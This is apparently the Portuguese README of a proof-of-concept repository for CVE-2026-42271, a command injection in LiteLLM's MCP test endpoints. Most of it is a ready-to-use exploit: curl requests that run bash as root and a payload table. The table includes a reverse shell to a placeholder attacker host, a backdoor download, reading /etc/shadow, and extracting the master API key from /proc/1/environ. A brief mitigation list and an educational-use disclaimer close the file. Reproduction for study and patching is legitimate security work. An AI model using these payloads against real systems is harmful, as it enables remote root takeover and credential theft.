
O código para reproduzir pessoalmente a vulnerabilidade correspondente.
LiteLLM
POST /mcp-rest/test/connection&POST /mcp-rest/test/tools/list— Injeção de comando autenticada via transporte MCP stdio. Qualquer chave de API válida pode executar comandos arbitrários do SO como root (na implantação padrão do Docker).Imagem fixada por digest: o contêiner vulnerável é fixado no LiteLLM v1.82.6, garantindo reprodutibilidade de longo prazo.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-42271 |
| CVSS v4.0 | 8.7 (ALTA) — CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N |
| CVSS v3.1 | 8.8 (ALTA) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-77 / CWE-78 (Injeção de Comando no SO) |
| Afetado | LiteLLM >= 1.74.2, < 1.83.7 |
| Corrigido | v1.83.7+ (lista branca de comandos + verificação de função PROXY_ADMIN adicionada) |
| Publicado | 2026-05-08 |
| Versão fixada | v1.82.6 — imagem fixada por digest, garantindo reprodutibilidade de longo prazo |
| Links | GHSA-v4p8-mg3p-g94g • NVD • GitLab Advisory |
Dois endpoints usados para pré-visualizar um servidor MCP antes de salvá-lo — POST /mcp-rest/test/connection e POST /mcp-rest/test/tools/list — aceitam uma configuração completa do servidor MCP no corpo da requisição, incluindo os campos command, args e env usados pelo transporte stdio.
Quando chamados com uma configuração stdio, os endpoints executam o comando fornecido como um subprocesso no host do proxy com os privilégios do processo do proxy (root no Docker padrão).
Questão chave: Os endpoints apenas verificam uma chave de API de proxy válida sem verificação de função — até chaves de internal_user com baixos privilégios podem explorar isso.
# 1. Inicie uma instância vulnerável do LiteLLM (fixada na v1.82.6)
docker compose up -d
# 2. Execute o exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" --cmd "id"
# Ou use curl diretamente (RCE cego — a resposta pode mostrar erro, mas o comando é executado)
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/mcp-rest/test/tools/list \
-d '{
"transport": "stdio",
"command": "bash",
"args": ["-c", "id > /tmp/pwned"]
}'
# Verifique que o comando foi executado dentro do contêiner
docker exec litellm-cve cat /tmp/pwned
# Saída: uid=0(root) gid=0(root) groups=0(root),0(root),...
A API retorna "Failed to connect to MCP server" porque o processo gerado não fala o protocolo MCP — mas o comando já foi executado com privilégios de root.
| Cenário | Payload |
|---|---|
| RCE básica | "args": ["-c", "id > /tmp/pwned"] |
| Ler arquivos | "args": ["-c", "cat /etc/shadow > /tmp/out"] |
| Exfiltrar env | `"args": ["-c", "cat /proc/1/environ |
| Shell reverso | "args": ["-c", "bash -i >& /dev/tcp/atacante/4444 0>&1"] |
| Persistência | "args": ["-c", "curl http://atacante/malware -o /tmp/backdoor && chmod +x /tmp/backdoor"] |
POST /mcp-rest/test/connectionTesta uma conexão de servidor MCP. Com transporte stdio, executa o comando fornecido.
POST /mcp-rest/test/tools/listLista ferramentas de um servidor MCP de teste. Mesmo comportamento — executa o comando fornecido ao usar transporte stdio.
{
"transport": "stdio",
"command": "bash",
"args": ["-c", "<comando malicioso>"],
"env": {
"PATH": "/usr/bin:/bin"
}
}
| Campo | Tipo | Obrigatório | Descrição |
|---|---|---|---|
transport | string | Sim | Deve ser "stdio" para injeção de comando |
command | string | Sim | Executável a ser gerado (ex.: bash, python, curl) |
args | array | Sim | Argumentos passados ao comando |
env | object | Não | Variáveis de ambiente para o subprocesso |
A correção adicionou duas camadas de defesa:
validate_transport_fields() — permite apenas: npx, uvx, python, python3, node, docker, denoPROXY_ADMINCVE-2026-42271/
├── README.md # Este arquivo
├── docker-compose.yml # Ambiente vulnerável com um comando (fixado na v1.82.6)
├── requirements.txt # Dependências
├── exploit/
│ ├── exploit.py # Script de exploit completo
│ └── payload.py # Módulo de geração de payload
├── docs/
│ └── advisory.md # Referência do aviso de segurança
└── screenshots/ # Capturas de tela de prova
PROXY_ADMIN)/mcp-rest/test/connection e /mcp-rest/test/tools/list no proxy reversodocker run --user 1000:1000 ...Ao reproduzir a seção 5.7 (Extrair variáveis de ambiente do processo), observe que: MCP Python SDK v1.25.0+ ao criar subprocessos stdio, não herda as variáveis de ambiente do processo pai do LiteLLM. O SDK através de get_default_environment() apenas passa HOME e PATH, depois mescla o campo env especificado explicitamente pelo usuário.
Portanto env > /tmp/env_dump não consegue capturar LITELLM_MASTER_KEY.
Procedimento correto: extraia as variáveis de ambiente lendo /proc/1/environ do processo principal do LiteLLM:
# Extrair variáveis de ambiente (via /proc/1/environ)
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/mcp-rest/test/tools/list \
-d '{
"transport": "stdio",
"command": "bash",
"args": ["-c", "cat /proc/1/environ | tr \"\\0\" \"\\n\" > /tmp/env_dump"]
}'
# Ver resultado
docker exec litellm-cve cat /tmp/env_dump | grep -E "LITELLM|MASTER"
# Saída: LITELLM_MASTER_KEY=sk-litellm-master-key
Veja detalhes na seção 5.7 do Relatório de Reprodução (em chinês).
Aviso: Este conteúdo é fornecido apenas para fins educacionais e testes de segurança autorizados.